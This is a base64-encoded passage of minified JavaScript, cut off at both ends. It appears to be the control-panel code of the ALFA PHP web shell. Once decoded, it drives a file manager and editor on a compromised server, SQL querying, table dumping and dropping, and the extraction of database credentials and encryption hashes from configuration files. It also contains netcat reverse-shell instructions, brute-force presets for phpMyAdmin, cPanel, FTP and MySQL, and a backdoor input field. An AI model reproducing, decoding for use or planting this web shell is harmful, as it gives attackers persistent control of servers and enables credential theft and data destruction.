icGZvb3RlcnVwXyIrdXBjb3VudCk7ZiYmZi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGYpLHVwY291bnQtLX0wPT11cGNvdW50JiZ1cGNvdW50KyssYWxmYWxvYWRlcigibm9uZSIpLGEuc3VibWl0LmRpc2FibGVkPWZhbHNlfSxiLm9uZXJyb3I9ZnVuY3Rpb24oYSl7fTt2YXIgZT1uZXcgRm9ybURhdGEoYSk7Yi5vcGVuKCJQT1NUIixkLlVSTCksYi5zZW5kKGUpfX1mdW5jdGlvbiBnKGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCl7c2V0KGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCksIkdldENvbmZpZyIhPWEmJiJkb3dubG9hZCIhPWFsZmEyJiYoZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJhamF4YXJlYSIpWzBdLmlubmVySFRNTD1cJzxjZW50ZXI+PGJyIC8+PGltZyBpZD0iYWxmYWxvYWRlciIgc3JjPSInLl9fc2hvd2ljb24oJ2xvYWRlcicpLiciPjwvaW1nPjxiciAvPjxiciAvPjwvY2VudGVyPlwnKSxpc2xpbnV4JiYiLyIhPWQubWYuYy52YWx1ZS5zdWJzdHIoMCwxKSYmKGQubWYuYy52YWx1ZT0iLyIrZC5tZi5jLnZhbHVlKTtmb3IodmFyIGRhdGE9ImE9IithbGZhYjY0KGEpKyImYz0iK2FsZmFiNjQoZC5tZi5jLnZhbHVlKSsiJiIsaT0xO2k8PTEwO2krKylkYXRhKz0iYWxmYSIraSsiPSIrYWxmYWI2NChldmFsKCJkLm1mLmFsZmEiK2krIi52YWx1ZSIpKSsiJiI7aWYoZGF0YSs9IiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLCJGaWxlc1Rvb2xzIj09YSYmImRvd25sb2FkIj09YWxmYTIpe3ZhciBkbD0kKCJkbEZvcm0iKTtyZXR1cm4gZGwuYS52YWx1ZT1hbGZhYjY0KCJkbGZpbGUiKSxkbC5jLnZhbHVlPWFsZmFiNjQoZC5tZi5jLnZhbHVlKSxkbC5maWxlLnZhbHVlPWFsZmFiNjQoYWxmYTEpLHZvaWQgZGwuc3VibWl0KCl9IkdldENvbmZpZyIhPWE/KF9BamF4KGQuVVJMLGRhdGEpLGMhPWNfJiZjJiZpbml0RGlyKGMpKTooYWxmYWxvYWRlcigiYmxvY2siKSxfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGEpe3RyeXthPUpTT04ucGFyc2UoYSksYS5ob3N0JiZhLnVzZXImJmEuZGJuYW1lJiYoJCgiZGJfaG9zdCIpJiYoJCgiZGJfaG9zdCIpLnZhbHVlPWEuaG9zdCksJCgiZGJfdXNlciIpJiYoJCgiZGJfdXNlciIpLnZhbHVlPWEudXNlciksJCgiZGJfbmFtZSIpJiYoJCgiZGJfbmFtZSIpLnZhbHVlPWEuZGJuYW1lKSwkKCJkYl9wdyIpJiYoJCgiZGJfcHciKS52YWx1ZT1hLnBhc3N3b3JkKSwkKCJkYl9wcmVmaXgiKSYmYS5wcmVmaXgmJigkKCJkYl9wcmVmaXgiKS52YWx1ZT1hLnByZWZpeCksJCgiY2NfZW5jcnlwdGlvbl9oYXNoIikmJmEuY2NfZW5jcnlwdGlvbl9oYXNoJiYoJCgiY2NfZW5jcnlwdGlvbl9oYXNoIikudmFsdWU9YS5jY19lbmNyeXB0aW9uX2hhc2gpKX1jYXRjaChhKXt9YWxmYWxvYWRlcigibm9uZSIpfSkpfWZ1bmN0aW9uIGFsZmFsb2FkZXIoYSl7JCgiYV9sb2FkZXIiKS5zdHlsZS5kaXNwbGF5PWF9ZnVuY3Rpb24gZnN1KGEpe2FsZmFsb2FkZXIoImJsb2NrIik7Zm9yKHZhciBiPXt9LGM9MDtjPGEuZWxlbWVudHMubGVuZ3RoO2MrKykic3VibWl0IiE9YS5lbGVtZW50c1tjXS50eXBlJiYoYlthLmVsZW1lbnRzW2NdLm5hbWVdPWEuZWxlbWVudHNbY10udmFsdWUpO2ZvcihjIGluIG15c3FsX2NhY2hlKW15c3FsX2NhY2hlW2NdPWFsZmFiNjQobXlzcWxfY2FjaGVbY10pO19BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiU3FsIikrIiZhbGZhMT0iK2FsZmFiNjQoInVwZGF0ZSIpKyImYWxmYTI9IithbGZhYjY0KEpTT04uc3RyaW5naWZ5KGIpKSsiJmM9IithbGZhYjY0KGNfKSsiJmNoYXJzZXQ9IitteXNxbF9jYWNoZS5jaGFyc2V0KyImdHlwZT0iK215c3FsX2NhY2hlLnR5cGUrIiZzcWxfaG9zdD0iK215c3FsX2NhY2hlLmhvc3QrIiZzcWxfbG9naW49IitteXNxbF9jYWNoZS51c2VyKyImc3FsX3Bhc3M9IitteXNxbF9jYWNoZS5wYXNzKyImc3FsX2Jhc2U9IitteXNxbF9jYWNoZS5kYisiJnNxbF9jb3VudD0iK215c3FsX2NhY2hlLmNvdW50KyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihhKXtldmFsSlMoYSksYWxmYWxvYWRlcigibm9uZSIpfSwhMCl9ZnVuY3Rpb24gZnMoZixlKXthbGZhbG9hZGVyKCJibG9jayIpO3ZhciBhbGZhMT0icXVlcnkiLGFsZmEyPWYucXVlcnk/YWxmYWI2NChmLnF1ZXJ5LnZhbHVlKToiIixob3N0PWYuc3FsX2hvc3Q/Zi5zcWxfaG9zdC52YWx1ZTpteXNxbF9jYWNoZS5ob3N0LHVzZXI9Zi5zcWxfbG9naW4/Zi5zcWxfbG9naW4udmFsdWU6bXlzcWxfY2FjaGUudXNlcixwYXNzPWYuc3FsX3Bhc3M/Zi5zcWxfcGFzcy52YWx1ZTpteXNxbF9jYWNoZS5wYXNzLGRiPWYuc3FsX2Jhc2U/Zi5zcWxfYmFzZS52YWx1ZTpteXNxbF9jYWNoZS5kYix0eXBlPWYudHlwZT9mLnR5cGUudmFsdWU6bXlzcWxfY2FjaGUudHlwZSxjaGFyc2V0PWYuY2hhcnNldD9mLmNoYXJzZXQudmFsdWU6bXlzcWxfY2FjaGUuY2hhcnNldCxjb3VudD0iIjtzd2l0Y2goY291bnQ9Zi5zcWxfY291bnQ/Zi5zcWxfY291bnQuY2hlY2tlZD8idHJ1ZSI6IiI6bXlzcWxfY2FjaGUuY291bnQsZil7Y2FzZSIwIjphbGZhMT0ic2VsZWN0IixhbGZhMj1hbGZhYjY0KGUpO2JyZWFrO2Nhc2UiMSI6ZT1ldmFsKGUpLGFsZmExPSJzZWxlY3QiLGFsZmEyPWFsZmFiNjQoZVswXSkrIiZhbGZhMz0iK2FsZmFiNjQoZVsxXSk7YnJlYWs7Y2FzZSIyIjplPWV2YWwoZSksYWxmYTE9ImVkaXQiLGFsZmEyPWFsZmFiNjQoZGIpKyImYWxmYTM9IithbGZhYjY0KGUuam9pbigiOiIpKTticmVhaztjYXNlIjMiOmFsZmExPSJsb2FkZmlsZSIsYWxmYTI9YWxmYWI2NChlKTticmVhaztjYXNlIjQiOmNhc2UiNSI6YWxmYTE9KGY9PSI0Ij8iZHVtcGZpbGUiOiJkcm9wdGJsIik7dmFyIG9iaj17fSxpZD0kKCJkdW1wZmlsZSIpO2ZvcihvYmouZmlsZT1pZD9pZC52YWx1ZToiZHVtcC5zcWwiLG9iai50Ymw9W10saT0wO2k8ZC5zZi5lbGVtZW50c1sidGJsW10iXS5sZW5ndGg7KytpKWQuc2YuZWxlbWVudHNbInRibFtdIl1baV0uY2hlY2tlZCYmb2JqLnRibC5wdXNoKGQuc2YuZWxlbWVudHNbInRibFtdIl1baV0udmFsdWUpO2FsZmEyPWFsZmFiNjQoSlNPTi5zdHJpbmdpZnkob2JqKSl9X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJTcWwiKSsiJmFsZmExPSIrYWxmYWI2NChhbGZhMSkrIiZhbGZhMj0iK2FsZmEyKyImYz0iK2FsZmFiNjQoY18pKyImY2hhcnNldD0iK2FsZmFiNjQoY2hhcnNldCkrIiZ0eXBlPSIrYWxmYWI2NCh0eXBlKSsiJnNxbF9ob3N0PSIrYWxmYWI2NChob3N0KSsiJnNxbF9sb2dpbj0iK2FsZmFiNjQodXNlcikrIiZzcWxfcGFzcz0iK2FsZmFiNjQocGFzcykrIiZzcWxfYmFzZT0iK2FsZmFiNjQoZGIpKyImc3FsX2NvdW50PSIrYWxmYWI2NChjb3VudCkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGEpe2V2YWxKUyhhKSxhbGZhbG9hZGVyKCJub25lIil9LCEwKX1mdW5jdGlvbiBjdGxiYyhhKXt2YXIgYj0kKCJiY1N0YXR1cyIpLGM9JCgiYmNpcEFjdGlvbiIpOyJiaW5kIj09YS52YWx1ZT8oYy5zdHlsZS5kaXNwbGF5PSJub25lIixiLmlubmVySFRNTD0iPHNtYWxsPlByZXNzIGAgPGZvbnQgY29sb3I9XCdyZWRcJz4+PjwvZm9udD4gYCBidXR0b24gYW5kIHJ1biBgIDxmb250IGNvbG9yPVwncmVkXCc+bmMgc2VydmVyX2lwIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlcjwvc21hbGw+Iik6KGMuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIixiLmlubmVySFRNTD0iPHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPVwncmVkXCc+bmMgLWwgLXYgLXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyBgIDxmb250IGNvbG9yPVwncmVkXCc+Pj48L2ZvbnQ+IGAgYnV0dG9uPC9zbWFsbD4iKX1mdW5jdGlvbiBpcygpe2ZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyJ0YmxbXSJdLmxlbmd0aDsrK2kpZC5zZi5lbGVtZW50c1sidGJsW10iXVtpXS5jaGVja2VkPSFkLnNmLmVsZW1lbnRzWyJ0YmxbXSJdW2ldLmNoZWNrZWR9ZnVuY3Rpb24gJChhKXtyZXR1cm4gZC5nZXRFbGVtZW50QnlJZChhKX1mdW5jdGlvbiBhZGRuZXd1cCgpe3ZhciBhPSJmb290ZXJ1cF8iK3VwY291bnQsYj0icGZvb3RlcnVwXyIrdXBjb3VudCxjPTEhPXVwY291bnQ/InBmb290ZXJ1cF8iKyh1cGNvdW50LTEpOiJwZm9vdGVydXAiLGU9ZC5jcmVhdGVFbGVtZW50KCJwIik7ZS5pbm5lckhUTUw9XCc8bGFiZWwgY2xhc3M9ImlucHV0ZmlsZSIgZm9yPSJcJythK1wnIj48c3BhbiBpZD0iX19mbmFtZXVwXCcrdXBjb3VudCtcJyI+PC9zcGFuPiA8c3Ryb25nPiZuYnNwOyZuYnNwO0Nob29zZSBhIGZpbGU8L3N0cm9uZz48L2xhYmVsPjxpbnB1dCBpZD0iXCcrYStcJyIgdHlwZT0iZmlsZSIgbmFtZT0iZltdIiBvbkNoYW5nZT0iaGFuZGxldXAodGhpcyxcJyt1cGNvdW50K1wnKTsiPlwnLGUuaWQ9YixlLmFwcGVuZEFmdGVyKCQoYykpLHVwY291bnQrK31mdW5jdGlvbiBhbGZhX3NlYXJjaGVyX3Rvb2woYSl7c3dpdGNoKGEpe2Nhc2UiYWxsIjpjYXNlImRpcnMiOl9hbGZhU2V0KCEwLCJEaXNhYmxlZCIpO2JyZWFrO2Nhc2UiZmlsZXMiOl9hbGZhU2V0KCExLCJwaHAiKX19ZnVuY3Rpb24gX2FsZmFTZXQoYSxiKXtkLnNyY2guZXh0LmRpc2FibGVkPWEsZC5zcmNoLmV4dC52YWx1ZT1ifWZ1bmN0aW9uIGRpc19pbnB1dChhKXtzd2l0Y2goYSl7Y2FzZSJwaHBteWFkbWluIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJkaXJlY3QiOmJydXRlU2V0KCExLCIyMjIyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiY3AiOmJydXRlU2V0KCExLCIyMDgyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJmdHA6Ly8iKTticmVhaztjYXNlIm15c3FsIjpicnV0ZVNldCghMSwiMzMwNiIsImh0dHA6Ly8iKTticmVhaztjYXNlImZ0cGMiOmJydXRlU2V0KCExLCIyMSIsImh0dHA6Ly8iKX19ZnVuY3Rpb24gYnJ1dGVTZXQoYSxiLGQpeyIyMSIhPWI/Yz0ibG9jYWxob3N0IjpjPSJmdHAuZXhhbXBsZS5jb20iLCQoInBvcnQiKS5kaXNhYmxlZD1hLCQoInBvcnQiKS52YWx1ZT1iLCQoInRhcmdldCIpLnZhbHVlPWMsJCgicHJvdG9jb2wiKS52YWx1ZT1kfUVsZW1lbnQucHJvdG90eXBlLmFwcGVuZEFmdGVyPWZ1bmN0aW9uKGEpe2EucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUodGhpcyxhLm5leHRTaWJsaW5nKX07ZnVuY3Rpb24gaW5CYWNrZG9vcih0KXtpZih0LnZhbHVlPT0ibXkiKXskKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjt9ZWxzZXskKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO319DQpmdW5jdGlvbiBzYXZlQnlLZXkoZXZlbnQpew0KCWlmKCEoU3RyaW5nLmZyb21DaGFyQ29kZShldmVudC53aGljaCkudG9Mb3dlckNhc2UoKSA9PSBcJ3NcJyAmJiBldmVudC5jdHJsS2V5KSAmJiAhKGV2ZW50LndoaWNoID09IDE5KSlyZXR1cm4gdHJ1ZTsNCgkkKCJlZGl0b3JfZWRpdF9hcmVhIikub25zdWJtaXQoKTsNCglldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIHNldENvb2tpZShjbmFtZSwgY3ZhbHVlLCBleGRheXMpew0KICAgIHZhciBkID0gbmV3IERhdGUoKTsNCiAgICBkLnNldFRpbWUoZC5nZXRUaW1lKCkgKyAoZXhkYXlzKjI0KjYwKjYwKjEwMDApKTsNCiAgICB2YXIgZXhwaXJlcyA9ICJleHBpcmVzPSIrIGQudG9VVENTdHJpbmcoKTsNCiAgICBkb2N1bWVudC5jb29raWUgPSBjbmFtZSArICI9IiArIGN2YWx1ZSArICI7IiArIGV4cGlyZXMgKyAiO3BhdGg9LyI7DQp9DQpmdW5jdGlvbiBnZXRDb29raWUobmFtZSl7DQogIHZhciB2YWx1ZSA9ICI7ICIgKyBkb2N1bWVudC5jb29raWU7DQogIHZhciBwYXJ0cyA9IHZhbHVlLnNwbGl0KCI7ICIgKyBuYW1lICsgIj0iKTsNCiAgaWYgKHBhcnRzLmxlbmd0aCA9PSAyKSByZXR1cm4gcGFydHMucG9wKCkuc3BsaXQoIjsiKS5zaGlmdCgpOw0KfQ0KZnVuY3Rpb24gZWRpdG9yQ2xvc2UocG9zKXsNCglkLmJvZHkuc3R5bGUub3ZlcmZsb3cgPSAidmlzaWJsZSI7DQoJZWxlbSA9ICQocG9zKTsNCgllbGVtLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCAiZWRpdG9yLWFuaW0tY2xvc2UiKTsNCglpZihwb3MgPT0gImVkaXRvciIpew0KCQlpc19taW5pbWl6ZWQgPSBmYWxzZTsNCgl9ZWxzZXsNCgkJY2dpX2lzX21pbmltaXplZCA9IGZhbHNlOw0KCX0NCglzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQoJCWVsZW0ucmVtb3ZlQXR0cmlidXRlKCJjbGFzcyIpOw0KCQllbGVtLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQoJfSwgMTAwMCk7DQoJZC5ib2R5LnN0eWxlLm92ZXJmbG93ID0gInZpc2libGUiOw0KfQ0KZnVuY3Rpb24gc2hvd0VkaXRvcihwb3Mpew0KCSQocG9zKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwgImVkaXRvci1hbmltLXNob3ciKTsNCgkkKHBvcysiLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCAibWluaW1pemVkLWhpZGUiKTsNCglpZihwb3MgPT0gImVkaXRvciIpew0KCQlpc19taW5pbWl6ZWQgPSBmYWxzZTsNCgkJaWYoY2dpX2lzX21pbmltaXplZCl7DQoJCQkkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc3R5bGUudG9wID0gIjMwJSI7DQoJCX0NCgl9ZWxzZXsNCgkJY2dpX2lzX21pbmltaXplZCA9IGZhbHNlOw0KCQlpZihpc19taW5pbWl6ZWQpew0KCQkJJCgiZWRpdG9yLW1pbmltaXplZCIpLnN0eWxlLnRvcCA9ICIzMCUiOw0KCQl9DQoJfQ0KCWQuYm9keS5zdHlsZS5vdmVyZmxvdyA9ICJoaWRkZW4iOw0KfQ0KZnVuY3Rpb24gZWRpdG9yTWluaW1pemUocG9zKXsNCgkkKHBvcykuc2V0QXR0cmlidXRlKCJjbGFzcyIsICJlZGl0b3ItYW5pbS1taW5pbWl6ZSIpOw0KCSQocG9zKyItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsICJtaW5pbWl6ZWQtc2hvdyIpOw0KCWlmKHBvcyA9PSAiZWRpdG9yIil7DQoJCWlzX21pbmltaXplZCA9IHRydWU7DQoJCWlmKGNnaV9pc19taW5pbWl6ZWQpew0KCQkJJCgiY2dpbG9hZGVyLW1pbmltaXplZCIpLnN0eWxlLnRvcCA9ICIyMCUiOw0KCQkJJCgiZWRpdG9yLW1pbmltaXplZCIpLnN0eWxlLnRvcCA9ICI1MCUiOw0KCQl9ZWxzZXsNCgkJCSQoImVkaXRvci1taW5pbWl6ZWQiKS5zdHlsZS50b3AgPSAiMzAlIjsNCgkJfQ0KCX1lbHNlew0KCQljZ2lfaXNfbWluaW1pemVkID0gdHJ1ZTsNCgkJaWYoaXNfbWluaW1pemVkKXsNCgkJCSQoImNnaWxvYWRlci1taW5pbWl6ZWQiKS5zdHlsZS50b3AgPSAiMjAlIjsNCgkJCSQoImVkaXRvci1taW5pbWl6ZWQiKS5zdHlsZS50b3AgPSAiNTAlIjsNCgkJfWVsc2V7DQoJCQkkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc3R5bGUudG9wID0gIjMwJSI7DQoJCX0NCgl9DQoJZC5ib2R5LnN0eWxlLm92ZXJmbG93ID0gInZpc2libGUiOw0KfQ0KZnVuY3Rpb24gY2xlYXJFZGl0b3JIaXN0b3J5KCl7DQoJdmFyIGNoZWNrID0gY29uZmlybSgiQXJlIHUgU3VyZT8iKTsNCglpZihjaGVjayl7DQoJCWZvcih2YXIgaSBpbiBlZGl0b3JfZmlsZXMpew0KCQkJaWYoaSAhPSBlZGl0b3JfY3VycmVudF9maWxlKXsNCgkJCQlyZW1vdmVIaXN0b3J5KGkpOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gZWRpdG9yKGZpbGUsIG1vZGUsIGFyZywgcHdkLCBmaWxlX2lkLCB0eXBlKXsNCglpZih0eXBlPT0iZGlyIiYmZmlsZT09Ii4uIilyZXR1cm4gZmFsc2U7DQoJaWYobW9kZSA9PSAiZG93bmxvYWQiKXsNCgkJZygiRmlsZXNUb29scyIscHdkLGZpbGUsImRvd25sb2FkIik7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJdmFyIHBhcmFtID0gIiIsIGZpZCA9ICIiLCBwdXJlX2ZpZCA9ICIiLCBjd2QgPSBkLm1mLmMudmFsdWUsIGNhbl9hcHBlbmQgPSB0cnVlOw0KCWZpbGUgPSBmaWxlLnRyaW0oKTsNCglpZihPYmplY3Qua2V5cyhlZGl0b3JfZmlsZXMpLmxlbmd0aCA9PSAwKXsNCgkJdmFyIGNvb2tpZV9maWxlID0gZ2V0Q29va2llKCJhbGZhX2hpc3RvcnlfZmlsZXMiKTsNCgkJdHJ5ew0KCQkJZWRpdG9yX2ZpbGVzID0gSlNPTi5wYXJzZShjb29raWVfZmlsZSk7DQoJCQlmb3IodmFyIHQgaW4gZWRpdG9yX2ZpbGVzKXsNCgkJCQlpbnNlcnRUb0hpc3RvcnkodCwgZWRpdG9yX2ZpbGVzW3RdLmZpbGUsIDAsIGVkaXRvcl9maWxlc1t0XS50eXBlKTsNCgkJCX0NCgkJfWNhdGNoKGUpe30NCgl9DQoJaWYoZmlsZS5pbmRleE9mKCIvIikgIT0gLTEpew0KCQl2YXIgZmlsZV9zcGxpdCA9IGZpbGUuc3BsaXQoIi8iKTsNCgkJZmlsZSA9IGZpbGVfc3BsaXRbZmlsZV9zcGxpdC5sZW5ndGggLSAxXTsNCgkJZGVsZXRlIGZpbGVfc3BsaXRbZmlsZV9zcGxpdC5sZW5ndGggLSAxXTsNCgkJY3dkID0gZmlsZV9zcGxpdC5qb2luKCIvIik7DQoJCWlmKGlzbGludXgpew0KCQkJY3dkID0gIi8iK2N3ZDsNCgkJfQ0KCX0NCglpZih0eXBlb2YgdHlwZSA9PSAidW5kZWZpbmVkIil7DQoJCXR5cGUgPSAiIjsNCgl9DQoJaWYodHlwZW9mIHB3ZCAhPSAidW5kZWZpbmVkIiAmJiBwd2QgIT0gbnVsbCAmJiBwd2QubGVuZ3RoICE9IDApew0KCQljd2QgPSBwd2QudHJpbSgpOw0KCX0NCgl0cnl7DQoJCWZvcih2YXIgaSBpbiBlZGl0b3JfZmlsZXMpew0KCQkJaWYoZWRpdG9yX2ZpbGVzW2ldLmZpbGUgPT0gZGVjb2RlVVJJQ29tcG9uZW50KGZpbGUpICYmIGVkaXRvcl9maWxlc1tpXS5wd2QucmVwbGFjZSgvXC8vZywiIikgPT0gY3dkLnJlcGxhY2UoL1wvL2csIiIpKXsNCgkJCQljYW5fYXBwZW5kID0gZmFsc2U7DQoJCQkJZmlsZV9pZCA9IGk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCX0NCgl9Y2F0Y2goZSl7DQoJCWNvbnNvbGUubG9nKGUpOw0KCX0NCgllZGl0b3JfZXJyb3IgPSB0cnVlOw0KCWlmKHR5cGVvZiBhcmcgIT0gInVuZGVmaW5lZCIgJiYgYXJnLmxlbmd0aCAhPSAwICYmIGFyZyAhPSBudWxsKXsNCgkJcGFyYW0gPSBhbGZhYjY0KGFyZyk7DQoJfQ0KCWlmKHR5cGVvZiBmaWxlX2lkICE9ICJ1bmRlZmluZWQiICYmIGZpbGVfaWQgIT0gbnVsbCAmJiBmaWxlX2lkLmxlbmd0aCAhPSAwKXsNCgkJZmlkID0gYWxmYWI2NChmaWxlX2lkKTsNCgkJcHVyZV9maWQgPSBmaWxlX2lkOw0KCX1lbHNlew0KCQl2YXIgcmFuZF9maWQgPSAiZmlsZV8iICsgZ2V0UmFuZG9tKDEwKTsNCgkJZmlkID0gYWxmYWI2NChyYW5kX2ZpZCk7DQoJCXB1cmVfZmlkID0gcmFuZF9maWQ7DQoJfQ0KCWFsZmFsb2FkZXIoImJsb2NrIik7DQoJX0FqYXgoZC5VUkwsICJhPSIrYWxmYWI2NCgiRmlsZXNUb29scyIpKyImYz0iK2FsZmFiNjQoY3dkKSsiJmFsZmExPSIrYWxmYWI2NChmaWxlKSsiJmFsZmEyPSIrYWxmYWI2NChtb2RlKSsiJmFsZmEzPSIrcGFyYW0rIiZhbGZhND0iK2ZpZCsiJmFsZmE1PSZhbGZhNj0mYWxmYTc9JmFsZmE4PSZhbGZhOT0mYWxmYTEwPSYmYWpheD0iK2FsZmFiNjQoInRydWUiKSwgZnVuY3Rpb24oZSl7DQoJCWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudCIpLmlubmVySFRNTCA9IGU7DQoJCSQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXkgID0gImJsb2NrIjsNCgkJYWxmYWxvYWRlcigibm9uZSIpOw0KCQlldmFsSlMoZSk7DQoJCWlmKG1vZGUgIT0gImRlbGV0ZSIgJiYgZWRpdG9yX2Vycm9yKXsNCgkJCXZhciBhY3RpdmUgPSBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImlzX2FjdGl2ZSIpOw0KCQkJaWYoYWN0aXZlLmxlbmd0aCAhPSAwKXsNCgkJCQlhY3RpdmVbMF0uY2xhc3NOYW1lID0gImZpbGUtaG9sZGVyIjsNCgkJCX0NCgkJCWZpZCA9IHB1cmVfZmlkOw0KCQkJZmlsZSA9IGRlY29kZVVSSUNvbXBvbmVudChmaWxlKTsNCg0KCQkJaWYoIWVkaXRvcl9maWxlc1tmaWRdICYmIGNhbl9hcHBlbmQpew0KCQkJCWVkaXRvcl9maWxlc1tmaWRdID0geyJmaWxlIjogZmlsZSwgInB3ZCI6IGN3ZCwgInR5cGUiOiB0eXBlfTsNCgkJCQlpbnNlcnRUb0hpc3RvcnkoZmlkLCBmaWxlLCAiIGlzX2FjdGl2ZSIsIHR5cGUpOw0KCQkJCWlmKG1vZGU9PSJta2ZpbGUiKXsNCgkJCQkJZygiRmlsZXNNYW4iLG51bGwpOw0KCQkJCX0NCgkJCX1lbHNlew0KCQkJCSQoZmlkKS5wYXJlbnROb2RlLmNsYXNzTmFtZSArPSAiIGlzX2FjdGl2ZSI7DQoJCQl9DQoJCX0NCgkJZC5ib2R5LnN0eWxlLm92ZXJmbG93ID0gImhpZGRlbiI7DQoJCWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmlsZXN0b29scyIpWzBdLnNldEF0dHJpYnV0ZSgiZmlkIiwgZmlkKTsNCgkJaWYoZWRpdG9yX2ZpbGVzW2ZpZF0pew0KCQkJZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJlZGl0b3ItcGF0aCIpWzBdLmlubmVySFRNTCA9IChlZGl0b3JfZmlsZXNbZmlkXS5wd2QgKyAiLyIgKyBlZGl0b3JfZmlsZXNbZmlkXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csICIvIik7DQoJCX0NCgkJZWRpdG9yX2N1cnJlbnRfZmlsZSA9IGZpZDsNCgkJaWYoaXNfbWluaW1pemVkKXsNCgkJCXNob3dFZGl0b3IoImVkaXRvciIpOw0KCQl9DQoJCXVwZGF0ZUNvb2tpZUVkaXRvcigpOw0KCX0pOw0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShmaWQsIGZpbGUsIG1vZGUsIHR5cGUpew0KCXZhciBhY3RpdmUgPSAiIjsNCglpZihtb2RlICYmIG1vZGUgIT0gMCl7DQoJCWFjdGl2ZSA9IG1vZGU7DQoJfQ0KCXZhciBOZXdFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQoJTmV3RWxlbWVudC5pbm5lckhUTUwgPSAiPGRpdiBpZD1cJyIrZmlkKyJcJyBjbGFzcz1cJ2hpc3RvcnlcJyBvbkNsaWNrPVwncmVvcGVuKHRoaXMpO1wnPjxkaXYgY2xhc3M9XCdlZGl0b3ItaWNvblwnPiIrbG9hZFR5cGUoZmlsZSx0eXBlLGZpZCkrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+IitmaWxlKyI8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPVwnaGlzdG9yeS1jbG9zZVwnIG9uQ2xpY2s9XCdyZW1vdmVIaXN0b3J5KFwiIitmaWQrIlwiKTtcJz5YPC9kaXY+IjsNCglOZXdFbGVtZW50LmNsYXNzTmFtZSA9ICJmaWxlLWhvbGRlciIgKyBhY3RpdmU7DQoJTmV3RWxlbWVudC5hZGRFdmVudExpc3RlbmVyKCJtb3VzZW92ZXIiLCBmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGZpZCwib3ZlciIpO3RoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5ID0gIjEiO30pOw0KCU5ld0VsZW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdXQiLCBmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGZpZCwib3V0Iik7dGhpcy5jaGlsZE5vZGVzWzFdLnN0eWxlLm9wYWNpdHkgPSAiMCI7fSk7DQoJdmFyIHJlZk5vZGUgPSBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdOw0KCXJlZk5vZGUuaW5zZXJ0QmVmb3JlKE5ld0VsZW1lbnQsIHJlZk5vZGUuZmlyc3RDaGlsZCk7DQp9DQpmdW5jdGlvbiBsb2FkVHlwZShmaWxlLHR5cGUsaWQpew0KCWlmKHR5cGUgPT0gIm5vbmUiKXsNCgkJX0FqYXgoZC5VUkwsICJhPSIrYWxmYWI2NCgiY2hlY2tmaWxldHlwZSIpKyImcGF0aD0iK2FsZmFiNjQoZWRpdG9yX2ZpbGVzW2lkXS5wd2QpKyImYXJnPSIrYWxmYWI2NChlZGl0b3JfZmlsZXNbaWRdLmZpbGUpLCBmdW5jdGlvbihlKXsNCgkJCSQoaWQpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKGVkaXRvcl9maWxlc1tpZF0uZmlsZSxlLGlkKSsiPC9kaXY+PGRpdiBjbGFzcz1cJ2VkaXR